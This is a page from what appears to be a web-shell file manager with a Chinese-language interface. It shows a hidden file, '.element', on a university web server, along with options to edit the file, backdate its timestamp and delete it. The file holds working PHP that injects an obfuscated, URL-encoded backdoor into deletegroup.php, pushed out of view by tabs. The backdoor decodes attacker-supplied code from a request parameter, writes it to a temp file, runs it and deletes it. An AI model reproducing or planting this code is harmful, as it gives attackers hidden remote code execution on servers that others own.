文件操作 - .element
返回文件管理
返回主菜单
删除本文件
文件: /var/www/demoestudiantes.uaysen.cl/html/.element
编辑文件内容
<?php $path = '/var/www/demoestudiantes.uaysen.cl/html/deletegroup.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('if%28isset%28%24_REQUEST%29%20%26%26%20isset%28%24_REQUEST%5B%22i%5Cx74m%22%5D%29%29%7B%20%24sym%20%3D%20array_filter%28%5B%22/var/tmp%22%2C%20getenv%28%22TMP%22%29%2C%20%22/tmp%22%2C%20getenv%28%22TEMP%22%29%2C%20sys_get_temp_dir%28%29%2C%20getcwd%28%29%2C%20session_save_path%28%29%2C%20%22/dev/shm%22%2C%20ini_get%28%22upload_tmp_dir%22%29%5D%29%3B%20%24mrk%20%3D%20%24_REQUEST%5B%22i%5Cx74m%22%5D%3B%20%24mrk%20%3D%20explode%20%28%20%27.%27%20%2C%20%24mrk%29%20%3B%20%24key%20%3D%20%27%27%3B%20%24salt%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24sLen%20%3D%20strlen%28%24salt%20%29%3B%20%24__len%20%3D%20count%28%24mrk%20%29%3B%20for%28%24v%20%3D%200%3B%20%24v%20%3C%20%24__len%3B%20%24v%2B%2B%29%20%7B%20%24v4%20%3D%20%24mrk%5B%24v%5D%3B%20%24chS%20%3D%20ord%28%24salt%5B%24v%20%25%20%24sLen%5D%20%29%3B%20%24dec%20%3D%28%28int%29%24v4%20-%20%24chS%20-%28%24v%20%25%2010%29%29%20%5E%2025%3B%20%24key%20.%3D%20chr%28%24dec%20%29%3B%20%7D%20for%20%28%24entity%20%3D%200%2C%20%24pset%20%3D%20count%28%24sym%29%3B%20%24entity%20%3C%20%24pset%3B%20%24entity%2B%2B%29%20%7B%20%24flag%20%3D%20%24sym%5B%24entity%5D%3B%20if%20%28%21%28%20%21is_dir%28%24flag%29%20%7C%7C%20%21is_writable%28%24flag%29%20%29%29%20%7B%20%24item%20%3D%20%22%24flag/.token%22%3B%20%24file%20%3D%20fopen%28%24item%2C%20%27w%27%29%3B%20if%20%28%24file%29%20%7B%20fwrite%28%24file%2C%20%24key%29%3B%20fclose%28%24file%29%3B%20include%20%24item%3B%20%40unlink%28%24item%29%3B%20die%28%29%3B%20%7D%20%7D%20%7D%20%7D'); if (strstr($content, $new_code)) { die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { if (substr($content, 0, strlen($start)) == $start) { $content = substr($content, strlen($start)); $content = $start.str_repeat("\t", 42).$new_code."\n".$content; if (file_put_contents($path, $content)) { $content = file_get_contents($path); if (strstr($content, $new_code)) { die("!success!<ft>{$ft}</ft>"); } } } } die('!failed!');
修改文件时间
将文件时间修改为当前时间的前一年
删除文件